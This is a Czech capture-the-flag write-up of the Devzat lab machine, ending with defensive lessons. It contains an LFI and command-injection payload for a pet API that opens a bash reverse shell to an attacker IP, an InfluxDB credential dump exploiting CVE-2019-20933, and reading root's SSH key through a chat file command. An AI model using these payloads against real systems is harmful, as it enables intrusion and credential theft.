Devzat
Úvod a kontext
Devzat je pěkný příklad řetězce, kde se střídá veřejná webová chyba a interní služby dostupné až po footholdu. Všechno začíná na pets.devzat.htb, kde odhalený .git a API endpoint /api/pet ukážou, že aplikace v Go špatně zachází se vstupem v poli species.
První shell ale ještě nestačí na root. Teprve po přechodu na patrick se objeví interní InfluxDB na portu 8086, ze které jdou vytáhnout hesla dalších uživatelů. A až catherine otevře přístup k internímu chatu na 8443, dojde na finální čtení root klíče přes /file.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
Devzat chat na portu 8000
Neobvyklý SSH banner na 8000/tcp ukazuje na interní Go službu, která v další fázi dostane větší význam. Už při první enumeraci je dobré si ji poznamenat, i když k ní zatím není přístup.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
| 256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp open http Apache httpd 2.4.41
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: devzat - where the devs at
8000/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
| ssh-hostkey:
|_ 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.91%I=7%D=10/30%Time=617D6649%P=x86_64-pc-linux-gnu%r(N
Devzat chat na portu 8000
Neobvyklý SSH banner na 8000/tcp ukazuje na interní Go službu, která v další fázi dostane větší význam. Už při první enumeraci je dobré si ji poznamenat, i když k ní zatím není přímý přístup.
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
./dirsearch/dirsearch.py -u http://pets.devzat.htb -e php -x 403 -r
=> .git
Analýza zjištění
Skrytá subdoména a zdroják petshopu
Vedle hlavního webu má smysl hledat i další hostname. wfuzz odhalí pets.devzat.htb a na něm leží .git, takže jde stáhnout zdroják celé aplikace. Právě zdroják vysvětlí, proč má smysl zkusit path traversal i command injection přes JSON API.
wfuzz -H "Host: FUZZ.devzat.htb" -w SecLists/Discovery/DNS/subdomains-top1million-110000.txt --sc 200 http://10.10.11.118
./gitdumper.sh http://pets.devzat.htb/.git/ HTB/Machines/Devzat/
./extractor.sh HTB/Machines/Devzat/ HTB/Machines/Devzat/extract
000003745: 200 20 L 35 W 510 Ch "pets"
LFI a command injection v /api/pet
První test přes ../../../../../etc/passwd potvrdí čtení souborů a rovnou ukáže uživatele patrick a catherine. Potom už dává smysl zkusit, zda pole species neprotéká až do shellu. To se potvrdí reverse shellem.
curl 'http://pets.devzat.htb/api/pet' --data-raw '{"name":"AAAAA","species":"../../../../../etc/passwd"}' && curl 'http://pets.devzat.htb/api/pet' | sed 's/\\n/\n/g'
=> patrick:x:1000:1000:patrick:/home/patrick:/bin/bash
=> catherine:x:1001:1001:catherine,,,:/home/catherine:/bin/bash
Získání přístupu
Reverse shell a stabilizace jako patrick
Přes command injection stačí spustit bash reverse shell a potom přidat vlastní veřejný klíč do authorized_keys. To je u podobného API výrazně čistší než zůstávat u křehkého jednorázového requestu.
curl 'http://pets.devzat.htb/api/pet' --data-raw '{"name":"AAAAA","species":"cat;/bin/bash -c '\''bash -i >& /dev/tcp/10.10.14.11/4000 0>&1'\''"}'
ssh patrick@10.10.11.118
InfluxDB na 8086 a přechod na catherine
Pod patrick se objeví interní služby na 127.0.0.1:8086 a 127.0.0.1:8443. První z nich je InfluxDB. Po port forwardu a zneužití CVE-2019-20933 vrátí tabulku user s hesly, včetně účtu catherine.
ssh patrick@10.10.11.118 -L 8086:localhost:8086
whatweb http://localhost:8086
http://localhost:8086 [404 Not Found] IP[::1], UncommonHeaders[x-content-type-options,x-influxdb-build,x-influxdb-version]
[devzat] Insert query (exit to change db): select * from "user"
{
"results": [
{
"series": [
{
"columns": [
"time",
"enabled",
"password",
"username"
],
"name": "user",
"values": [
[
"2021-06-22T20:04:16.313965493Z",
false,
"WillyWonka2021",
"wilhelm"
],
[
"2021-06-22T20:04:16.320782034Z",
true,
"woBeeYareedahc7Oogeephies7Aiseci",
"catherine"
],
[
"2021-06-22T20:04:16.996682002Z",
true,
"RoyalQueenBee$",
"charles"
]
]
}
]
}
]
}
ssh catherine@10.10.11.118
Získání user flagu
user.txt tady potvrzuje hlavně to, že interní InfluxDB opravdu propojila první shell pod patrick s plnohodnotným uživatelským účtem catherine.
cat user.txt
__CENSORED__
Eskalace oprávnění
Interní chat a heslo pro /file
Na portu 8443 běží interní Devzat chat. Příkaz restore backup dev z něj vrátí heslo CeilingCatStillAThingIn2021? pro funkci /file, což je rozhodující poznatek pro finální krok.
restore backup dev
=> /file pass: CeilingCatStillAThingIn2021?
Čtení root souborů přes /file
Po přihlášení do chatu na 8443 už není potřeba další exploit. /file dovolí číst libovolné lokální soubory, takže jde nejdřív ověřit root.txt a potom vytáhnout ../.ssh/id_rsa. Ten už otevře přímé SSH jako root.
ssh devzat.htb -p 8443
/file ../root.txt CeilingCatStillAThingIn2021?
/file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
ssh -i id_rsa_root root@devzat.htb
Shrnutí klíčových poznatků
- První foothold otevřela subdoména
pets.devzat.htb, vystavený.gita command injection v/api/pet. - Přechod na
catherinenevznikl hádáním hesel, ale čtením interní InfluxDB na portu8086, dostupné až po shellu podpatrick. - Root stál na interním chatu Devzat a zneužitelné funkci
/file, která dovolila číst rootův SSH klíč.
Co si odnést do praxe
- Vedlejší subdomény a vystavené
.gitrepozitáře bývají stejně rizikové jako hlavní aplikace. Na Devzat právě tudy vedla nejkratší cesta ke zdrojáku a prvnímu exploitu. - Interní databáze typu InfluxDB nesmějí obsahovat hesla v čitelné podobě. Jakmile je lze číst po prvním footholdu, promění se v okamžitý pivot na další účty.
- Chatovací a pomocné služby na interních portech je potřeba brát jako bezpečnostní hranici. Příkaz
/files jediným sdíleným heslem tady ve výsledku znamenal plný přístup k root souborům.